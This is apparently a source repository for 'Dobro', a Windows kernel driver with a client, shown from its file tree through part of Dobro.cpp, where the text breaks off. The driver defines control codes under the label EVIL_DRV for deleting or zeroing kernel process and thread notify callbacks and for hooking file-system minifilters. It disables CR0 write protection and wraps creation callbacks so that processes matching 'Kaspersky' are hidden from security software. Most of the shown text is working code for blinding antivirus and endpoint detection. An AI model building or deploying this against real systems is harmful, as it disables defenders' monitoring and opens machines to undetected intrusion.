├── Dobro-Driver ├── Dobro.sln ├── Dobro │ ├── CRTLib.cpp │ ├── CRTLib.h │ ├── Common.h │ ├── Dobro.cpp │ ├── Dobro.inf │ ├── Dobro.vcxproj │ ├── Dobro.vcxproj.filters │ ├── Dobro.vcxproj.user │ ├── FsMinifilterHooking.cpp │ ├── FsMinifilterHooking.h │ ├── FsMinifilterProto.h │ ├── HelperPS.cpp │ ├── HelperPS.h │ ├── Log.h │ ├── PrivateStructs.h │ ├── RAIIUtils.h │ └── ~ListPS.cpp ├── DobroCli │ ├── DobroCli.cpp │ ├── DobroCli.vcxproj │ ├── DobroCli.vcxproj.filters │ ├── DobroCli.vcxproj.user │ ├── Inject.cpp │ └── Inject.h └── _cleandbg.bat ├── Info └── Info.zip ├── Install-Bat └── install.bat ├── Py-Scripts └── xor_str.py ├── README.md ├── Screenshots └── All_In_One.jpg ├── Source ├── CheekyBlinder-master.zip ├── EDRSandblast-master.zip ├── FsMinfilterHooking-master.zip └── windows-ps-callbacks-experiments-master.zip └── Windbg-Scripts ├── psnotifycallbacks.py └── psnotifycallbacks.wdb /Dobro-Driver/Dobro.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31727.386 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Dobro", "Dobro\Dobro.vcxproj", "{4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DobroCli", "DobroCli\DobroCli.vcxproj", "{95D2852C-F642-44F7-A5F6-30B75B6DC9DD}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|ARM = Debug|ARM 13 | Debug|ARM64 = Debug|ARM64 14 | Debug|x64 = Debug|x64 15 | Debug|x86 = Debug|x86 16 | Release|ARM = Release|ARM 17 | Release|ARM64 = Release|ARM64 18 | Release|x64 = Release|x64 19 | Release|x86 = Release|x86 20 | EndGlobalSection 21 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 22 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}.Debug|ARM.ActiveCfg = Debug|ARM 23 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}.Debug|ARM.Build.0 = Debug|ARM 24 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}.Debug|ARM.Deploy.0 = Debug|ARM 25 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}.Debug|ARM64.ActiveCfg = Debug|ARM64 26 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}.Debug|ARM64.Build.0 = Debug|ARM64 27 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}.Debug|ARM64.Deploy.0 = Debug|ARM64 28 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}.Debug|x64.ActiveCfg = Debug|x64 29 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}.Debug|x64.Build.0 = Debug|x64 30 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}.Debug|x64.Deploy.0 = Debug|x64 31 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}.Debug|x86.ActiveCfg = Debug|Win32 32 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}.Debug|x86.Build.0 = Debug|Win32 33 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}.Debug|x86.Deploy.0 = Debug|Win32 34 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}.Release|ARM.ActiveCfg = Release|ARM 35 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}.Release|ARM.Build.0 = Release|ARM 36 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}.Release|ARM.Deploy.0 = Release|ARM 37 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}.Release|ARM64.ActiveCfg = Release|ARM64 38 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}.Release|ARM64.Build.0 = Release|ARM64 39 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}.Release|ARM64.Deploy.0 = Release|ARM64 40 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}.Release|x64.ActiveCfg = Release|x64 41 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}.Release|x64.Build.0 = Release|x64 42 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}.Release|x64.Deploy.0 = Release|x64 43 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}.Release|x86.ActiveCfg = Release|Win32 44 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}.Release|x86.Build.0 = Release|Win32 45 | {4BDF8ED9-0EFE-4F12-81FB-8D5F9CA4724F}.Release|x86.Deploy.0 = Release|Win32 46 | {95D2852C-F642-44F7-A5F6-30B75B6DC9DD}.Debug|ARM.ActiveCfg = Debug|Win32 47 | {95D2852C-F642-44F7-A5F6-30B75B6DC9DD}.Debug|ARM64.ActiveCfg = Debug|Win32 48 | {95D2852C-F642-44F7-A5F6-30B75B6DC9DD}.Debug|x64.ActiveCfg = Debug|x64 49 | {95D2852C-F642-44F7-A5F6-30B75B6DC9DD}.Debug|x64.Build.0 = Debug|x64 50 | {95D2852C-F642-44F7-A5F6-30B75B6DC9DD}.Debug|x86.ActiveCfg = Debug|Win32 51 | {95D2852C-F642-44F7-A5F6-30B75B6DC9DD}.Debug|x86.Build.0 = Debug|Win32 52 | {95D2852C-F642-44F7-A5F6-30B75B6DC9DD}.Release|ARM.ActiveCfg = Release|Win32 53 | {95D2852C-F642-44F7-A5F6-30B75B6DC9DD}.Release|ARM64.ActiveCfg = Release|Win32 54 | {95D2852C-F642-44F7-A5F6-30B75B6DC9DD}.Release|x64.ActiveCfg = Release|x64 55 | {95D2852C-F642-44F7-A5F6-30B75B6DC9DD}.Release|x64.Build.0 = Release|x64 56 | {95D2852C-F642-44F7-A5F6-30B75B6DC9DD}.Release|x86.ActiveCfg = Release|Win32 57 | {95D2852C-F642-44F7-A5F6-30B75B6DC9DD}.Release|x86.Build.0 = Release|Win32 58 | EndGlobalSection 59 | GlobalSection(SolutionProperties) = preSolution 60 | HideSolutionNode = FALSE 61 | EndGlobalSection 62 | GlobalSection(ExtensibilityGlobals) = postSolution 63 | SolutionGuid = {C3C22CF0-D301-42C4-B9E2-7261DAAE50D6} 64 | EndGlobalSection 65 | EndGlobal 66 | -------------------------------------------------------------------------------- /Dobro-Driver/Dobro/CRTLib.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "CRTLib.h" 3 | 4 | #pragma warning( push ) 5 | #pragma warning( disable : 4706 ) 6 | 7 | wchar_t* crt_wcscpy(wchar_t* d, const wchar_t* s) 8 | { 9 | wchar_t* a = d; 10 | while ((*d++ = *s++)); 11 | return a; 12 | } 13 | 14 | size_t crt_wcslen(const wchar_t* s) 15 | { 16 | const wchar_t* a; 17 | for (a = s; *s; s++); 18 | return s - a; 19 | } 20 | 21 | wchar_t* crt_wcschr(const wchar_t* s, wchar_t c) 22 | { 23 | if (!c) return (wchar_t*)s + crt_wcslen(s); 24 | for (; *s && *s != c; s++); 25 | return *s ? (wchar_t*)s : 0; 26 | } 27 | 28 | wchar_t* crt_wcsrchr(const wchar_t* wcs, const wchar_t wc) 29 | { 30 | const wchar_t* retval = NULL; 31 | do 32 | if (*wcs == wc) 33 | retval = wcs; 34 | while (*wcs++ != L'\0'); 35 | return (wchar_t*)retval; 36 | } 37 | 38 | size_t crt_wcscspn(const wchar_t* s, const wchar_t* c) 39 | { 40 | const wchar_t* a; 41 | if (!c[0]) return crt_wcslen(s); 42 | if (!c[1]) return (s = crt_wcschr(a = s, *c)) ? s - a : crt_wcslen(a); 43 | for (a = s; *s && !crt_wcschr(c, *s); s++); 44 | return s - a; 45 | } 46 | 47 | size_t crt_wcsspn(const wchar_t* s, const wchar_t* c) 48 | { 49 | const wchar_t* a; 50 | for (a = s; *s && crt_wcschr(c, *s); s++); 51 | return s - a; 52 | } 53 | 54 | wchar_t* crt_wcstok(wchar_t* s, const wchar_t* sep, wchar_t** p) 55 | { 56 | if (!s && !(s = *p)) return NULL; 57 | s += crt_wcsspn(s, sep); 58 | if (!*s) return *p = 0; 59 | *p = s + crt_wcscspn(s, sep); 60 | if (**p) *(*p)++ = 0; 61 | else *p = 0; 62 | return s; 63 | } 64 | 65 | wchar_t* crt_wcsstr(const wchar_t* haystack, const wchar_t* needle) 66 | { 67 | wchar_t b, c; 68 | if ((b = *needle) != L'\0') 69 | { 70 | haystack--; /* possible ANSI violation */ 71 | do 72 | if ((c = *++haystack) == L'\0') 73 | goto ret0; 74 | while (c != b); 75 | if (!(c = *++needle)) 76 | goto foundneedle; 77 | ++needle; 78 | goto jin; 79 | for (;;) 80 | { 81 | wchar_t a; 82 | const wchar_t* rhaystack, * rneedle; 83 | do 84 | { 85 | if (!(a = *++haystack)) 86 | goto ret0; 87 | if (a == b) 88 | break; 89 | if ((a = *++haystack) == L'\0') 90 | goto ret0; 91 | shloop:; 92 | } while (a != b); 93 | jin: if (!(a = *++haystack)) 94 | goto ret0; 95 | if (a != c) 96 | goto shloop; 97 | if (*(rhaystack = haystack-- + 1) == (a = *(rneedle = needle))) 98 | do 99 | { 100 | if (a == L'\0') 101 | goto foundneedle; 102 | if (*++rhaystack != (a = *++needle)) 103 | break; 104 | if (a == L'\0') 105 | goto foundneedle; 106 | } while (*++rhaystack == (a = *++needle)); 107 | needle = rneedle; /* took the register-poor approach */ 108 | if (a == L'\0') 109 | break; 110 | } 111 | } 112 | foundneedle: 113 | return (wchar_t*)haystack; 114 | ret0: 115 | return NULL; 116 | } 117 | 118 | wchar_t* crt_wcstristr(const wchar_t* haystack, const wchar_t* needle) 119 | { 120 | wchar_t* pptr = (wchar_t*)needle; /* Pattern to search for */ 121 | wchar_t* start = (wchar_t*)haystack; /* Start with a bowl of hay */ 122 | wchar_t* sptr; /* Substring pointer */ 123 | size_t slen = crt_wcslen(haystack); /* Total size of haystack */ 124 | size_t plen = crt_wcslen(needle); /* Length of our needle */ 125 | 126 | // Check if EMPTY 127 | if (!needle || !plen) 128 | return NULL; 129 | 130 | /* while string length not shorter than pattern length */ 131 | for (; slen >= plen; start++, slen--) 132 | { 133 | /* find start of pattern in string */ 134 | while (RtlUpcaseUnicodeChar(*start) != RtlUpcaseUnicodeChar(*needle)) 135 | { 136 | start++; 137 | slen--; 138 | /* if pattern longer than string */ 139 | if (slen < plen) 140 | { 141 | return NULL; 142 | } 143 | } 144 | 145 | sptr = start; 146 | pptr = (wchar_t*)needle; 147 | while (RtlUpcaseUnicodeChar(*sptr) == RtlUpcaseUnicodeChar(*pptr)) 148 | { 149 | sptr++; 150 | pptr++; 151 | 152 | /* if end of pattern then pattern was found */ 153 | if (L'\0' == *pptr) 154 | { 155 | return start; 156 | } 157 | } 158 | } 159 | 160 | return NULL; 161 | } 162 | 163 | #pragma warning( pop ) 164 | -------------------------------------------------------------------------------- /Dobro-Driver/Dobro/CRTLib.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | wchar_t* crt_wcscpy(wchar_t* d, const wchar_t* s); 4 | size_t crt_wcslen(const wchar_t* s); 5 | wchar_t* crt_wcsch(const wchar_t* s, wchar_t c); 6 | wchar_t* crt_wcsrchr(const wchar_t* wcs, const wchar_t wc); 7 | size_t crt_wcsspn(const wchar_t* s, const wchar_t* c); 8 | size_t crt_wcscspn(const wchar_t* s, const wchar_t* c); 9 | wchar_t* crt_wcstok(wchar_t* s, const wchar_t* sep, wchar_t** p); 10 | wchar_t* crt_wcsstr(const wchar_t* haystack, const wchar_t* needle); 11 | wchar_t* crt_wcstristr(const wchar_t* haystack, const wchar_t* needle); 12 | -------------------------------------------------------------------------------- /Dobro-Driver/Dobro/Common.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define DRIVER_TAG 'rb0d' 4 | #define DRIVER_NAME "D0br0" 5 | 6 | #define DEVICE_NAME L"\\Device\\" ## DRIVER_NAME 7 | #define DEVICE_SYM_LINK L"\\??\\" ## DRIVER_NAME 8 | #define DEVICE_WIN32_NAME L"\\\\.\\" ## DRIVER_NAME 9 | 10 | 11 | #define EVIL_DRV 0x8000 12 | #define IOCTL_BASE 0x800 13 | 14 | #define CTL_CODE_HIDE(i) CTL_CODE(EVIL_DRV, IOCTL_BASE+i, METHOD_BUFFERED, FILE_ANY_ACCESS) 15 | 16 | #define IOCTL_DOBRO_DBG_BSOD CTL_CODE_HIDE(0) 17 | #define IOCTL_DOBRO_DBG_LIST_MODULES CTL_CODE_HIDE(1) 18 | 19 | #define IOCTL_DOBRO_PROCESS_ZEROOUT_ARRAY CTL_CODE_HIDE(2) 20 | #define IOCTL_DOBRO_PROCESS_DELETE_CALLBACK CTL_CODE_HIDE(3) 21 | #define IOCTL_DOBRO_PROCESS_CALLBACK_RET CTL_CODE_HIDE(4) 22 | #define IOCTL_DOBRO_PROCESS_ROLLBACK_RET CTL_CODE_HIDE(5) 23 | 24 | #define IOCTL_DOBRO_THREAD_ZEROOUT_ARRAY CTL_CODE_HIDE(6) 25 | #define IOCTL_DOBRO_THREAD_DELETE_CALLBACK CTL_CODE_HIDE(7) 26 | #define IOCTL_DOBRO_THREAD_CALLBACK_RET CTL_CODE_HIDE(8) 27 | #define IOCTL_DOBRO_THREAD_ROLLBACK_RET CTL_CODE_HIDE(9) 28 | 29 | #define IOCTL_DOBRO_HOOK_MINIFILTER CTL_CODE_HIDE(100) 30 | #define IOCTL_DOBRO_UNHOOK_MINIFILTER CTL_CODE_HIDE(101) 31 | 32 | #define IOCTL_DOBRO_GET_LIST_ALL CTL_CODE_HIDE(102) 33 | 34 | #define IOCTL_DOBRO_HOOK_CALLBACK_PS CTL_CODE_HIDE(103) 35 | #define IOCTL_DOBRO_HOOK_CALLBACK_THR CTL_CODE_HIDE(104) 36 | #define IOCTL_DOBRO_UNHOOK_CALLBACK_PS CTL_CODE_HIDE(105) 37 | #define IOCTL_DOBRO_UNHOOK_CALLBACK_THR CTL_CODE_HIDE(106) 38 | 39 | #define DEF_MOD_NAME_LEN_SYM (64) 40 | #define DEF_MOD_NAME_COUNT (64) 41 | 42 | #pragma pack(push, 1) 43 | struct DobroData 44 | { 45 | int list; 46 | int remove; 47 | int index; 48 | int rc; 49 | wchar_t wcModuleName[DEF_MOD_NAME_LEN_SYM]; 50 | }; 51 | #pragma pack(pop) 52 | 53 | struct ModulesData 54 | { 55 | CHAR ModuleName[256]; 56 | ULONG64 ModuleBase; 57 | }; 58 | 59 | enum TypeCallbackPSFS 60 | { 61 | TYPE_CALLBACK_PS, 62 | TYPE_CALLBACK_THR, 63 | TYPE_CALLBACK_FS 64 | }; 65 | 66 | #pragma pack(push, 1) 67 | typedef struct _CALLBACK_PS_FS 68 | { 69 | TypeCallbackPSFS Type; 70 | unsigned long long Index; 71 | unsigned long long NotifyAddress; 72 | unsigned long long ModuleBase; 73 | union 74 | { 75 | char chModuleName[DEF_MOD_NAME_LEN_SYM]; 76 | wchar_t wcModuleName[DEF_MOD_NAME_LEN_SYM]; 77 | }; 78 | } CALLBACK_PS_FS, * PCALLBACK_PS_FS; 79 | #pragma pack(pop) 80 | 81 | enum TypeNotifyCallback 82 | { 83 | TYPE_EMPTY_NOTIFY, 84 | TYPE_PS_NOTIFY, 85 | TYPE_PS_NOTIFY_EX, 86 | TYPE_PS_NOTIFY_EX2, 87 | TYPE_THREAD_NOTIFY 88 | }; 89 | 90 | typedef struct _INFO_NOTIFY_CALLBACK 91 | { 92 | TypeNotifyCallback Type; 93 | unsigned long long NotifyAddress; 94 | } INFO_NOTIFY_CALLBACK, * PINFO_NOTIFY_CALLBACK; 95 | 96 | ////////////////////////////////////////////////////////////////////////// 97 | // https://www.gaijin.at/en/infos/windows-version-numbers 98 | ////////////////////////////////////////////////////////////////////////// 99 | typedef enum _WINDOWS_INDEX 100 | { 101 | WindowsIndexUNSUPPORTED = 0, 102 | WindowsIndexXP = 1, 103 | WindowsIndex2K3 = 2, 104 | WindowsIndexVISTA = 3, 105 | WindowsIndexWIN7 = 4, 106 | WindowsIndexWIN8 = 5, 107 | WindowsIndexWIN81 = 6, 108 | WindowsIndexWIN10_1507 = 7, 109 | WindowsIndexWIN10_1511 = 8, 110 | WindowsIndexWIN10_1607 = 9, 111 | WindowsIndexWIN10_1703 = 10, 112 | WindowsIndexWIN10_1709 = 11, 113 | WindowsIndexWIN10_1803 = 12, 114 | WindowsIndexWIN10_1809 = 13, 115 | WindowsIndexWIN10_1903 = 14, 116 | WindowsIndexWIN10_1909 = 15, 117 | WindowsIndexWIN10_2004 = 16, 118 | } WINDOWS_INDEX, * PWINDOWS_INDEX; 119 | 120 | #pragma warning(disable:4201) 121 | 122 | typedef union 123 | { 124 | struct 125 | { 126 | UINT64 protection_enable : 1; 127 | UINT64 monitor_coprocessor : 1; 128 | UINT64 emulate_fpu : 1; 129 | UINT64 task_switched : 1; 130 | UINT64 extension_type : 1; 131 | UINT64 numeric_error : 1; 132 | UINT64 reserved_1 : 10; 133 | UINT64 write_protect : 1; 134 | UINT64 reserved_2 : 1; 135 | UINT64 alignment_mask : 1; 136 | UINT64 reserved_3 : 10; 137 | UINT64 not_write_through : 1; 138 | UINT64 cache_disable : 1; 139 | UINT64 paging_enable : 1; 140 | }; 141 | 142 | UINT64 flags; 143 | } cr0; 144 | 145 | -------------------------------------------------------------------------------- /Dobro-Driver/Dobro/Dobro.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "Common.h" 6 | #include "Log.h" 7 | #include "FsMinifilterProto.h" 8 | #include "HelperPS.h" 9 | 10 | #pragma intrinsic(__readmsr) 11 | 12 | ////////////////////////////////////////////////////////////////////////// 13 | // Prototypes 14 | ////////////////////////////////////////////////////////////////////////// 15 | VOID DobroUnload(PDRIVER_OBJECT DriverObject); 16 | NTSTATUS DobroCreateClose(PDEVICE_OBJECT DeviceObject, PIRP Irp); 17 | NTSTATUS DobroDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp); 18 | 19 | ////////////////////////////////////////////////////////////////////////// 20 | // Global vars 21 | ////////////////////////////////////////////////////////////////////////// 22 | UCHAR g_ProcessStoreAddress[0x320]; // 8 byte array * 64 process callbacks 23 | UCHAR g_ThreadStoreAddress[0x320]; // 8 byte array * 64 thread callbacks 24 | 25 | WINDOWS_INDEX g_WindowsIndex; 26 | 27 | // E8 - CALL 28 | // E9 - JMP 29 | // 2D - R13 30 | // 3D - R15 31 | UCHAR OPCODE_PSP[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe8, 0xe8, 0xe8 }; 32 | 33 | // Process callbacks 34 | UCHAR OPCODE_LEA_R13_1[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4c, 0x4c, 0x4c }; 35 | UCHAR OPCODE_LEA_R13_2[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8d, 0x8d, 0x8d }; 36 | UCHAR OPCODE_LEA_R13_3[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2d, 0x2d, 0x2d }; 37 | 38 | // Thread callbacks 39 | UCHAR OPCODE_LEA_RCX_1[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x48, 0x48 }; 40 | UCHAR OPCODE_LEA_RCX_2[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8d, 0x8d, 0x8d }; 41 | UCHAR OPCODE_LEA_RCX_3[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0d, 0x0d, 0x0d }; 42 | 43 | ////////////////////////////////////////////////////////////////////////// 44 | // Hook notify callback 45 | ////////////////////////////////////////////////////////////////////////// 46 | volatile PVOID g_OrigPcreateProcessNotifyRoutine = NULL; 47 | volatile PVOID g_OrigPcreateThreadNotifyRoutine = NULL; 48 | volatile LONG g_typePsNotifyCallback = TYPE_EMPTY_NOTIFY; 49 | volatile LONG g_typeThrNotifyCallback = TYPE_EMPTY_NOTIFY; 50 | volatile LONG g_startHookFilterPS = FALSE; 51 | volatile LONG g_startHookFilterThr = FALSE; 52 | WCHAR g_filteredPsName[64] = L"Kaspersky"; 53 | WCHAR g_filteredThrName[64] = L"Kaspersky"; 54 | 55 | void PcreateProcessNotifyRoutineEx2( 56 | PEPROCESS Process, 57 | HANDLE ProcessId, 58 | PPS_CREATE_NOTIFY_INFO CreateInfo) 59 | { 60 | BOOLEAN IsFiltered = FALSE; 61 | 62 | if (g_startHookFilterPS) 63 | { 64 | if (CreateInfo) 65 | { 66 | IsFiltered = HlpPsIsFilteredPSByName(CreateInfo->ImageFileName, g_filteredPsName); 67 | if (!IsFiltered) 68 | { 69 | ((PCREATE_PROCESS_NOTIFY_ROUTINE_EX)g_OrigPcreateProcessNotifyRoutine)(Process, ProcessId, CreateInfo); 70 | } 71 | } 72 | else 73 | { 74 | ((PCREATE_PROCESS_NOTIFY_ROUTINE_EX)g_OrigPcreateProcessNotifyRoutine)(Process, ProcessId, CreateInfo); 75 | } 76 | } 77 | else 78 | { 79 | ((PCREATE_PROCESS_NOTIFY_ROUTINE_EX)g_OrigPcreateProcessNotifyRoutine)(Process, ProcessId, CreateInfo); 80 | } 81 | 82 | return; 83 | } 84 | 85 | void PcreateProcessNotifyRoutineEx( 86 | PEPROCESS Process, 87 | HANDLE ProcessId, 88 | PPS_CREATE_NOTIFY_INFO CreateInfo) 89 | { 90 | BOOLEAN IsFiltered = FALSE; 91 | 92 | if (g_startHookFilterPS) 93 | { 94 | if (CreateInfo) 95 | { 96 | IsFiltered = HlpPsIsFilteredPSByName(CreateInfo->ImageFileName, g_filteredPsName); 97 | if (!IsFiltered) 98 | { 99 | ((PCREATE_PROCESS_NOTIFY_ROUTINE_EX)g_OrigPcreateProcessNotifyRoutine)(Process, ProcessId, CreateInfo); 100 | } 101 | } 102 | else 103 | { 104 | ((PCREATE_PROCESS_NOTIFY_ROUTINE_EX)g_OrigPcreateProcessNotifyRoutine)(Process, ProcessId, CreateInfo); 105 | } 106 | } 107 | else 108 | { 109 | ((PCREATE_PROCESS_NOTIFY_ROUTINE_EX)g_OrigPcreateProcessNotifyRoutine)(Process, ProcessId, CreateInfo); 110 | } 111 | 112 | return; 113 | } 114 | 115 | void PcreateProcessNotifyRoutine( 116 | HANDLE ParentId, 117 | HANDLE ProcessId, 118 | BOOLEAN Create) 119 | { 120 | BOOLEAN IsFiltered = FALSE; 121 | 122 | if (g_startHookFilterPS) 123 | { 124 | if (Create) 125 | { 126 | IsFiltered = HlpPsIsFilteredPSByPid(ProcessId, g_filteredThrName); 127 | if (!IsFiltered) 128 | { 129 | ((PCREATE_PROCESS_NOTIFY_ROUTINE)g_OrigPcreateProcessNotifyRoutine)(ParentId, ProcessId, Create); 130 | } 131 | } 132 | else 133 | { 134 | ((PCREATE_PROCESS_NOTIFY_ROUTINE)g_OrigPcreateProcessNotifyRoutine)(ParentId, ProcessId, Create); 135 | } 136 | } 137 | else 138 | { 139 | ((PCREATE_PROCESS_NOTIFY_ROUTINE)g_OrigPcreateProcessNotifyRoutine)(ParentId, ProcessId, Create); 140 | } 141 | 142 | return; 143 | } 144 | 145 | void PcreateThreadNotifyRoutine( 146 | HANDLE ProcessId, 147 | HANDLE ThreadId, 148 | BOOLEAN Create) 149 | { 150 | BOOLEAN IsFiltered = FALSE; 151 | 152 | if (g_startHookFilterThr) 153 | { 154 | IsFiltered = HlpPsIsFilteredPSByPid(ProcessId, g_filteredPsName); 155 | if (!IsFiltered) 156 | { 157 | return ((PCREATE_THREAD_NOTIFY_ROUTINE)g_OrigPcreateThreadNotifyRoutine)(ProcessId, ThreadId, Create); 158 | } 159 | } 160 | else 161 | { 162 | return ((PCREATE_THREAD_NOTIFY_ROUTINE)g_OrigPcreateThreadNotifyRoutine)(ProcessId, ThreadId, Create); 163 | } 164 | 165 | return; 166 | } 167 | ////////////////////////////////////////////////////////////////////////// 168 | 169 | ////////////////////////////////////////////////////////////////////////// 170 | // Intel manipulate CR0 register 171 | ////////////////////////////////////////////////////////////////////////// 172 | void CR0_WP_OFF_x64() 173 | { 174 | cr0 mycr0; 175 | mycr0.flags = __readcr0(); 176 | mycr0.write_protect = 0; 177 | __writecr0(mycr0.flags); 178 | } 179 | 180 | void CR0_WP_ON_x64() 181 | { 182 | cr0 mycr0; 183 | mycr0.flags = __readcr0(); 184 | mycr0.write_protect = 1; 185 | __writecr0(mycr0.flags); 186 | } 187 | 188 | ////////////////////////////////////////////////////////////////////////// 189 | // Get Windows version index 190 | ////////////////////////////////////////////////////////////////////////// 191 | WINDOWS_INDEX GetWindowsIndex() 192 | { 193 | NTSTATUS status = STATUS_SUCCESS; 194 | OSVERSIONINFOEXW osVersionInfo; 195 | osVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW); 196 | status = RtlGetVersion((POSVERSIONINFOW)&osVersionInfo); 197 | NT_ASSERT(NT_SUCCESS(status)); 198 | 199 | switch (osVersionInfo.dwBuildNumber) 200 | { 201 | case 2600: 202 | return WindowsIndexXP; 203 | break; 204 | case 3790: 205 | return WindowsIndex2K3; 206 | break; 207 | case 6000: 208 | case 6001: 209 | case 6002: 210 | return WindowsIndexVISTA; 211 | break; 212 | case 7600: 213 | case 7601: 214 | return WindowsIndexWIN7; 215 | break; 216 | case 8102: 217 | case 8250: 218 | case 9200: 219 | return WindowsIndexWIN8; 220 | case 9431: 221 | case 9600: 222 | return WindowsIndexWIN81; 223 | break; 224 | case 10240: 225 | return WindowsIndexWIN10_1507; 226 | break; 227 | case 10586: 228 | return WindowsIndexWIN10_1511; 229 | break; 230 | case 14393: 231 | return WindowsIndexWIN10_1607; 232 | break; 233 | case 15063: 234 | return WindowsIndexWIN10_1703; 235 | break; 236 | case 16299: 237 | return WindowsIndexWIN10_1709; 238 | break; 239 | case 17134: 240 | return WindowsIndexWIN10_1803; 241 | break; 242 | case 17763: 243 | return WindowsIndexWIN10_1809; 244 | break; 245 | case 18362: 246 | return WindowsIndexWIN10_1903; 247 | break; 248 | case 18363: 249 | return WindowsIndexWIN10_1909; 250 | break; 251 | case 19041: 252 | return WindowsIndexWIN10_2004; 253 | break; 254 | default: 255 | return WindowsIndexUNSUPPORTED; 256 | } 257 | } 258 | 259 | ////////////////////////////////////////////////////////////////////////// 260 | // Find PS callback notify routine 261 | ////////////////////////////////////////////////////////////////////////// 262 | ULONG64 FindPspCreateProcessNotifyRoutine() 263 | { 264 | LONG OffsetAddr = 0; 265 | ULONG64 i = 0; 266 | ULONG64 pCheckArea = 0; 267 | UNICODE_STRING unstrFunc; 268 | 269 | RtlInitUnicodeString(&unstrFunc, L"PsSetCreateProcessNotifyRoutine"); 270 | pCheckArea = (ULONG64)MmGetSystemRoutineAddress(&unstrFunc); 271 | 272 | LOG("[+] PsSetCreateProcessNotifyRoutine is at address: %llx", pCheckArea); 273 | 274 | for (i = pCheckArea; i < pCheckArea + 20; i++) 275 | { 276 | if ((*(PUCHAR)i == OPCODE_PSP[g_WindowsIndex])) 277 | { 278 | OffsetAddr = 0; 279 | memcpy(&OffsetAddr, (PUCHAR)(i + 1), 4); 280 | pCheckArea = pCheckArea + (i - pCheckArea) + OffsetAddr + 5; 281 | break; 282 | } 283 | } 284 | 285 | LOG("[+] PspSetCreateProcessNotifyRoutine is at address: %llx", pCheckArea); 286 | 287 | for (i = pCheckArea; i < pCheckArea + 0xff; i++) 288 | { 289 | if (*(PUCHAR)i == OPCODE_LEA_R13_1[g_WindowsIndex] && *(PUCHAR)(i + 1) == OPCODE_LEA_R13_2[g_WindowsIndex] && *(PUCHAR)(i + 2) == OPCODE_LEA_R13_3[g_WindowsIndex]) 290 | { 291 | OffsetAddr = 0; 292 | memcpy(&OffsetAddr, (PUCHAR)(i + 3), 4); 293 | return OffsetAddr + 7 + i; 294 | } 295 | } 296 | 297 | return 0; 298 | } 299 | 300 | ////////////////////////////////////////////////////////////////////////// 301 | // Find thread callback notify routine 302 | ////////////////////////////////////////////////////////////////////////// 303 | ULONG64 FindPsSetCreateThreadNotifyRoutine() 304 | { 305 | LONG OffsetAddr = 0; 306 | ULONG64 i = 0; 307 | ULONG64 pCheckArea = 0; 308 | UNICODE_STRING unstrFunc; 309 | 310 | RtlInitUnicodeString(&unstrFunc, L"PsSetCreateThreadNotifyRoutine"); 311 | pCheckArea = (ULONG64)MmGetSystemRoutineAddress(&unstrFunc); 312 | 313 | LOG("[+] PsSetCreateThreadNotifyRoutine is at address: %llx", pCheckArea); 314 | 315 | for (i = pCheckArea; i < pCheckArea + 20; i++) 316 | { 317 | if ((*(PUCHAR)i == OPCODE_PSP[g_WindowsIndex])) 318 | { 319 | OffsetAddr = 0; 320 | memcpy(&OffsetAddr, (PUCHAR)(i + 1), 4); 321 | pCheckArea 